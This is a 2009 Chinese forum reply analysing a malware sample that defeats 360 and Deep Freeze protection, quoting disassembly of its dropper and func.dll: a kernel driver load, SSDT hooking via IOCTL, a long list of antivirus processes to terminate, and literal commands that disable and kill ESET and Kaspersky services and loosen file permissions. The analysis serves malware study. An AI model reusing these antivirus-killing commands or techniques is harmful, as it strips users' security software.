绕过360还原保护穿透冰点的样本

标题：答复
作者：木桩
时间：2009-05-30 15:40:38

目前只看完func.dll，大致了解了一下执行流程。驱动部分没想到都逆完了，我也把我分析的贴一下吧：

引用:

explorer.exe行为
; 创建互斥
004012D1  |.  56            PUSH ESI                                 ; /MutexName => "ttt555"
004012D2  |.  53            PUSH EBX                                 ; |InitialOwner => FALSE
004012D3  |.  53            PUSH EBX                                 ; |pSecurity => NULL
004012D4  |.  FF15 24204000 CALL DWORD PTR DS:[<&KERNEL32.CreateMute>; \CreateMutexA

; 执行这几条命令（主要对付 ESET NOD32 ）
"cmd /c cacls %s /e /p everyone:f"
"cmd /c cacls "%s" /e /p everyone:f"
"cmd /c sc config ekrn start= disabled"                               ; ekrn.exe => "ESET NOD32"
"cmd /c taskkill /im ekrn.exe /f"
"cmd /c taskkill /im egui.exe /f"
"cmd /c taskkill /im ScanFrm.exe /f"                                 ; Rising scan server

; 取资源BIN，放出func.dll
Res:"BIN"    "\system32\func.dll"
"rundll32.exe func.dll, droqp"
; 放phpi.dll
...          "\phpi.dll"
...

explorer.exe后面还有个释放phpi.dll的部分没看，先拆了func.dll：

引用:

func.dll （通过 rundll32.exe func.dll, droqp 执行）
.text:1000411C                 public droqp
.text:1000411C droqp           proc near
; 提权
.text:10004128                 call    SetDebugPrivilege
; 释放acpiec.sys
.text:1000419D                 lea     eax, [ebp+FileName]
.text:100041A3                 push    offset aSystem32Driver ; "\\system32\\drivers"
.text:100041A8                 push    eax             ; Dest
.text:100041A9                 call    strcat
.text:100041AE                 lea     eax, [ebp+FileName]
.text:100041B4                 push    offset aAcpiec_sys ; "\\acpiec.sys"
.text:100041B9                 push    eax             ; Dest
.text:100041BA                 call    strcat
.text:100041BF                 add     esp, 10h
.text:100041C2                 cmp     [ebp+SystemTime.wYear], 7D8h
.text:100041C8                 jbe     short loc_100041E0
.text:100041CA                 lea     eax, [ebp+FileName]
.text:100041D0                 push    eax             ; lpFileName
.text:100041D1                 push    offset hFile    ; ResName = "SYS"
.text:100041D6                 push    67h             ; hResInfo
.text:100041D8                 call    Save_Res2File
; int __cdecl Save_Res2File(LPCSTR hResInfo, LPCSTR hFile, LPCSTR lpFileName)

; 注册acpiec.sys并加载
.text:100041E0                 lea     eax, [ebp+FileName] ; "acpiec.sys"
.text:100041E6                 push    eax             ; lpBinaryPathName
.text:100041E7                 call    Load_driver_UPDATEDATA

.text:1000422B                 push    [ebp+hDevice]   ; hDevice
.text:1000422E                 call    something_about_SSDT

.text:10003FB1 ; int __cdecl something_about_SSDT(int hDevice)
.text:10003FB1 something_about_SSDT proc near
func.dll关于SSDT部分，前面有人解释过了，无非就是取内核基址然后发IOCTL
.text:10003E8B                 push    22E14Bh         ; IOCTL 0x22E14B: 替换指定的SSDT
ps: 不过作者写程序很中规中矩啊，该Free的Free，该关句柄的关句柄，出错处理和调试信息一个不少，不像有些木马里LoadLibraryEx后就放那不管了。

; 接着打开 \\.\CMusic，也就是之前放出的那个驱动acpiec.sys
.text:100041EF                 push    ebx             ; hTemplateFile
.text:100041F0                 push    80h             ; dwFlagsAndAttributes
.text:100041F5                 push    3               ; dwCreationDisposition
.text:100041F7                 push    ebx             ; lpSecurityAttributes
.text:100041F8                 push    ebx             ; dwShareMode
.text:100041F9                 push    0C0000000h      ; dwDesiredAccess
.text:100041FE                 push    offset FileName ; "\\\\.\\CMusic"
.text:10004203                 call    ds:CreateFileA

; 创建一个线程在 StartAddress
.text:10004241                 push    ebx             ; lpThreadId
.text:10004242                 push    ebx             ; dwCreationFlags
.text:10004243                 push    [ebp+lpParameter] ; lpParameter
.text:10004246                 push    offset StartAddress ; lpStartAddress
.text:1000424B                 push    ebx             ; dwStackSize
.text:1000424C                 push    ebx             ; lpThreadAttributes
.text:1000424D                 call    ds:CreateThread

.text:1000146B ; DWORD __stdcall StartAddress(LPVOID)
.text:1000146B StartAddress    proc near
; 一个巨长的函数，几乎把所有杀软进程名都给列上了
; 不过从这个列表的顺序来看，这八成是国人写的，瑞星、360的进程都照顾全了，连QQ医生都没忘

RsMain.exe
ScanFrm.exe
rsnetsvr.exe
avp.exe
safeboxTray.exe
360Safe.exe
360Safebox.exe
360tray.exe
antiarp.exe
ekrn.exe
egui.exe
RavMon.exe
RavMonD.exe
RavTask.exe
CCenter.exe
RavStub.exe
RsTray.exe
Rav.exe
Rsaupd.exe
AgentSvr.exe
QQDoctor.exe
DrRtp.exe
McProxy.exe
McNASvc.exe
Mcshield.exe
MpfSrv.exe
pccguide.exe
ZONEALARM.exe
zonealarm.exe
...

; 接着发 22E153 到驱动（IOCTL 0x22E153 根据PID调用ZwTerminateJobObject结束指定进程）
.text:100035DB                 mov     edi, ds:GetModuleHandleA
.text:100035E1                 push    offset ModuleName ; "kernel32.dll"
.text:100035E6                 call    edi ; GetModuleHandleA
.text:100035E8                 push    offset aDeviceiocontro ; "DeviceIoControl"
.text:100035ED                 push    eax             ; hModule
.text:100035EE                 call    ds:GetProcAddress
.text:100035F4                 mov     [ebp+DeviceIoControl_addr], eax

.text:10003AE5                 lea     eax, [ebp+dwProcessID]
.text:10003AE8                 push    4
.text:10003AEA                 push    eax
.text:10003AEB                 push    22E153h         ; IOCTL
.text:10003AF0                 push    dword ptr [ebp+8]
.text:10003AF3                 call    [ebp+DeviceIoControl_addr]

.text:10003B07 loc_10003B07:                           ; CODE XREF: StartAddress+2226j
.text:10003B07                 push    [ebp+pe.th32ProcessID] ; dwProcessId
.text:10003B0D                 call    kill_avp

; 关进程
; 嘿嘿，在 SOFTWARE\KasperskyLab\protected\AVP8\CKAHUM\LastSet 里找卡巴的病毒库路径
.text:1000132B ; int __cdecl kill_avp(DWORD dwProcessId)
.text:1000132B kill_avp        proc near
.text:10001339                 push    edi
.text:1000133A                 push    eax             ; phkResult
.text:1000133B                 xor     esi, esi
.text:1000133D                 push    20019h          ; samDesired
.text:10001342                 push    esi             ; ulOptions
.text:10001343                 push    offset SubKey   ; "SOFTWARE\KasperskyLab\protected\AVP8\CKAHUM\LastSet"
.text:10001348                 push    80000002h       ; hKey
.text:1000134D                 call    ds:RegOpenKeyExA

.text:10001365                 push    eax             ; lpcbData
.text:10001366                 lea     eax, [ebp+Data]
.text:1000136C                 push    eax             ; lpData
.text:1000136D                 lea     eax, [ebp+Type]
.text:10001370                 push    eax             ; lpType
.text:10001371                 push    esi             ; lpReserved
.text:10001372                 push    offset ValueName ; "Directory"
.text:10001377                 mov     [ebp+cbData], 50h
.text:1000137E                 push    [ebp+hKey]      ; hKey
.text:10001381                 call    ds:RegQueryValueExA

; 执行下面两个命令
.text:1000145B                 call    esi ; WinExec
"cmd /c sc config avp start= disabled"
"cmd /c taskkill /f /im avp.exe"

; 然后继续循环
...

显然这个func.dll只是用于K掉杀毒软件的。唯一值得关注的就是那个进程列表，看来作者相当厌恶瑞*啊，几乎所有的进程都给列上了...
以及acpiec.sys里那个pdb的路径名，
.rdata:0001283C db 'E:\ts\benz_5-15\SYS\objfre\i386\KILLKB.pdb',0
作者还是赶快把E盘格了，然后给DDK换个文件夹，免得哪天被人看到而东窗事发